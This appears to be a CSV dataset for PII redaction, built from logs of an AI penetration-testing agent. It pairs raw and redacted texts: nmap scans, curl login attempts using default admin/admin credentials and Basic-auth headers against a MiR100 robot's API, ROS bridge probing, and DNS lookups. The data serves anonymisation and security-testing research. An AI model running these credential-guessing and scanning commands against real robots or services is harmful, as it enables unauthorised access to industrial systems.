mirror of https://github.com/aliasrobotics/cai.git
840 lines
128 KiB
Plaintext
840 lines
128 KiB
Plaintext
id;source_text;target_text;span_labels;mbert_bio_labels;source;others;span_labels_gen;mbert_bio_labels_gen
|
||
id_mir100_alarm_1;Scan AGVs in the network and obtain a list of potentially available ROS1 nodes exposed by them. Install any needed library and execute any required code to achieve your goals. Use this document as a reference: https://www.jugard-kuenstner.de/fileadmin/daten/Downloads/Intralogistik/MiR_Transportsystem/MiR100_MiR200/MiR_Netzwerkvoraussetzung.pdf;Scan AGVs in the network and obtain a list of potentially available ROS1 nodes exposed by them. Install any needed library and execute any required code to achieve your goals. Use this document as a reference: [URL];210:215:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URL;pentestperf;{'role': 'user'};210:215:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mir100_alarm_2;"eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
|
||
inet 192.168.2.5 netmask 255.255.255.0 broadcast 192.168.2.255
|
||
ether 02:42:c0:a8:02:05 txqueuelen 0 (Ethernet)
|
||
RX packets 410605 bytes 74925184 (71.4 MiB)
|
||
RX errors 0 dropped 0 overruns 0 frame 0
|
||
TX packets 389558 bytes 50036468 (47.7 MiB)
|
||
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
|
||
|
||
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
|
||
inet 127.0.0.1 netmask 255.0.0.0
|
||
inet6 ::1 prefixlen 128 scopeid 0x10<host>
|
||
loop txqueuelen 1000 (Local Loopback)
|
||
RX packets 187886 bytes 115772737 (110.4 MiB)
|
||
RX errors 0 dropped 0 overruns 0 frame 0
|
||
TX packets 187886 bytes 115772737 (110.4 MiB)
|
||
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0";"eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
|
||
inet [IP_ADDRESS] netmask [IP_ADDRESS] broadcast [IP_ADDRESS]
|
||
ether [IP_ADDRESS] txqueuelen 0 (Ethernet)
|
||
RX packets 410605 bytes 74925184 (71.4 MiB)
|
||
RX errors 0 dropped 0 overruns 0 frame 0
|
||
TX packets 389558 bytes 50036468 (47.7 MiB)
|
||
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
|
||
|
||
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
|
||
inet [IP_ADDRESS] netmask [IP_ADDRESS]
|
||
inet6 ::1 prefixlen 128 scopeid 0x10<host>
|
||
loop txqueuelen 1000 (Local Loopback)
|
||
RX packets 187886 bytes 115772737 (110.4 MiB)
|
||
RX errors 0 dropped 0 overruns 0 frame 0
|
||
TX packets 187886 bytes 115772737 (110.4 MiB)
|
||
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0";72:84:IP_ADDRESS|94:106:IP_ADDRESS|118:130:IP_ADDRESS|145:157:IP_ADDRESS|468:480:IP_ADDRESS|490:502:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'tool'};72:77:IP_ADDRESS|93:98:IP_ADDRESS|118:123:IP_ADDRESS|146:151:IP_ADDRESS|474:479:IP_ADDRESS|493:498:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mir100_alarm_3;"Hit:1 http://downloads.metasploit.com/data/releases/metasploit-framework/apt lucid InRelease
|
||
Hit:2 https://download.docker.com/linux/debian bullseye InRelease
|
||
Hit:3 http://http.kali.org/kali kali-rolling InRelease
|
||
Ign:4 http://packages.ros.org/ros/ubuntu kali-rolling InRelease
|
||
Err:5 http://packages.ros.org/ros/ubuntu kali-rolling Release
|
||
404 Not Found [IP: 64.50.233.100 80]
|
||
Reading package lists...";"Hit:1 [URL] lucid InRelease
|
||
Hit:2 [URL] bullseye InRelease
|
||
Hit:3 [URL] kali-rolling InRelease
|
||
Ign:4 [URL] kali-rolling InRelease
|
||
Err:5 [URL] kali-rolling Release
|
||
404 Not Found [IP: [IP_ADDRESS] 80]
|
||
Reading package lists...";6:11:URL|34:39:URL|65:70:URL|100:105:URL|135:140:URL|184:196:IP_ADDRESS;OOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'tool'};6:11:URL|99:104:URL|165:170:URL|220:225:URL|284:289:URL|362:367:IP_ADDRESS;OOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mir100_alarm_4;"{""command"": ""nmap"", ""args"": ""-sV -p- 192.168.2.105""}";"{""command"": ""nmap"", ""args"": ""-sV -p- [IP_ADDRESS]“}";;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'assistant'};37:42:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOO
|
||
id_mir100_alarm_5;"[*] Connecting to ROS Bridge at 192.168.2.105:9090...
|
||
[+] Connected to ROS Bridge at 192.168.2.105:9090
|
||
|
||
[*] Available Topics:
|
||
[-] Error: type object 'Topic' has no attribute 'get_topics'";"[*] Connecting to ROS Bridge at [IP_ADDRESS]:9090...
|
||
[+] Connected to ROS Bridge at [IP_ADDRESS]:9090
|
||
|
||
[*] Available Topics:
|
||
[-] Error: type object 'Topic' has no attribute 'get_topics'";32:44:IP_ADDRESS|84:96:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'tool'};32:37:IP_ADDRESS|85:90:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mir100_map_1;"Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-11 11:41 UTC
|
||
Nmap scan report for mir_100_pentestperf.devcontainer_cainet (192.168.2.105)
|
||
Host is up (0.0000030s latency).
|
||
Not shown: 996 closed tcp ports (reset)
|
||
PORT STATE SERVICE VERSION
|
||
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
|
||
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|
||
8080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|
||
9090/tcp open http Tornado httpd 4.0.2
|
||
MAC Address: 02:42:C0:A8:02:69 (Unknown)
|
||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||
|
||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||
Nmap done: 1 IP address (1 host up) scanned in 36.40 seconds";"Starting Nmap 7.95 ( [URL] ) at [DATE_TIME] [DATE_TIME]
|
||
Nmap scan report for [URL] ([IP_ADDRESS])
|
||
Host is up (0.0000030s latency).
|
||
Not shown: 996 closed tcp ports (reset)
|
||
PORT STATE SERVICE VERSION
|
||
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
|
||
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|
||
8080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|
||
9090/tcp open http Tornado httpd 4.0.2
|
||
MAC Address: [IP_ADDRESS] (Unknown)
|
||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||
|
||
Service detection performed. Please report any incorrect results at [URL]
|
||
Nmap done: 1 IP address (1 host up) sca";21:26:URL|32:43:DATE_TIME|87:99:IP_ADDRESS|453:465:IP_ADDRESS|601:606:URL;OOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'tool'};21:26:URL|43:48:DATE_TIME|54:59:DATE_TIME|85:90:URL|126:131:IP_ADDRESS|493:498:IP_ADDRESS|646:651:URL;OOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mir100_map_2;"{""command"": ""curl"", ""args"": ""-s -X POST -d \""username=admin&password=admin\"" http://192.168.2.105/api/v2.0.0/session""}";"{""command"": ""curl"", ""args"": ""-s -X POST -d \”username=admin&password=admin\”http://[IP_ADDRESS]/api/v2.0.0/session""}";76:81:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOO;pentestperf;{'role': ‘assistant'} URL contains an IP;;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mir100_map_3;"{""command"": ""curl"", ""args"": ""-s http://192.168.2.105/api/""}";"{""command"": ""curl"", ""args"": ""-s http://[IP_ADDRESS]/api“}";32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOO;pentestperf;{'role': 'assistant'};39:44:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOO
|
||
id_mir100_map_4;"{""command"": ""curl"", ""args"": ""-s -H \""Authorization: Basic c2VydmljZTpzZXJ2aWNl\"" http://192.168.2.105/api/v2.0.0/maps""}";"{""command"": ""curl"", ""args"": ""-s -H \""Authorization: Basic [CRYPTO]\” http://[IP_ADDRESS]/api/v2.0.0/maps""“}";58:66:CRYPTO|69:74:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOOOOB-URLI-URLI-URLI-URLI-URLOO;pentestperf;{'role': 'assistant'};58:63:CRYPTO;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mir100_map_5;"{""command"": ""curl"", ""args"": ""-s -I http://192.168.2.105/api/v2.0.0/maps -H \""Accept: application/json\"" -H \""Authorization: Basic YWRtaW46YWRtaW4=\""""}";"{""command"": ""curl"", ""args"": ""-s -I http://[IP_ADDRESS]/api/v2.0.0/maps -H \""Accept: application/json\"" -H \""Authorization: Basic [CRYPTO]\””}";35:40:URL|98:106:CRYPTO;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOOOOO;pentestperf;{'role': 'assistant'};42:47:IP_ADDRESS|130:135:CRYPTO;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOI-CRYPTOOOOOOOOOOOOOOOO
|
||
id_mir100_map_6;"HTTP/1.1 401 UNAUTHORIZED
|
||
Date: Tue, 11 Mar 2025 11:43:41 GMT
|
||
Server: Apache/2.4.18 (Ubuntu)
|
||
Robot-Version: 2.8.1.1
|
||
API-Version: v2.0.0
|
||
MiR-Product: MIR100
|
||
MiR-SwGuid: b206bc92-6795-11ea-ae68-0001299df35d
|
||
Access-Control-Allow-Origin: *
|
||
Content-Length: 159
|
||
Content-Type: application/json";"HTTP/1.1 401 UNAUTHORIZED
|
||
Date: [DATE_TIME] [DATE_TIME]
|
||
Server: Apache/2.4.18 (Ubuntu)
|
||
Robot-Version: 2.8.1.1
|
||
API-Version: v2.0.0
|
||
MiR-Product: MIR100
|
||
MiR-SwGuid: b206bc92-6795-11ea-ae68-0001299df35d
|
||
Access-Control-Allow-Origin: *
|
||
Content-Length: 159
|
||
Content-Type: application/json";32:43:DATE_TIME;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'tool'};32:37:DATE_TIME|37:42:DATE_TIME;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_mir100_dashboard_1;"{""command"":""curl"",""args"":""-d \""login_username=admin&login_password=admin\"" -X POST http://192.168.2.105/?mode=log-in""}";"{""command"":""curl"",""args"":""-d \""login_username=admin&login_password=admin\"" -X POST http://[IP_ADDRESS]/?mode=log-in""}";83:88:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOO;pentestperf;{'role': 'assistant'};90:95:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_1;"{""command"": ""dig"", ""args"": ""hm.com""}";"{""command"": ""dig"", ""args"": “[URL]“}";28:33:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOO;Hackerone;{'role': 'assistant'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_hm_2;"; <<>> DiG 9.20.4-4-Debian <<>> hm.com
|
||
;; global options: +cmd
|
||
;; Got answer:
|
||
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22427
|
||
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
|
||
|
||
;; QUESTION SECTION:
|
||
;hm.com. IN A
|
||
|
||
;; ANSWER SECTION:
|
||
hm.com. 18 IN A 23.14.136.55
|
||
|
||
;; Query time: 20 msec
|
||
;; SERVER: 127.0.0.11#53(127.0.0.11) (UDP)
|
||
;; WHEN: Tue Mar 18 12:07:35 UTC 2025
|
||
;; MSG SIZE rcvd: 40";"; <<>> DiG 9.20.4-4-Debian <<>> [URL]
|
||
;; global options: +cmd
|
||
;; Got answer:
|
||
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22427
|
||
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
|
||
|
||
;; QUESTION SECTION:
|
||
;[URL]. IN A
|
||
|
||
;; ANSWER SECTION:
|
||
[URL]. 18 IN A [IP_ADDRESS]
|
||
|
||
;; Query time: 20 msec
|
||
;; SERVER: [IP_ADDRESS]#53([IP_ADDRESS]) (UDP)
|
||
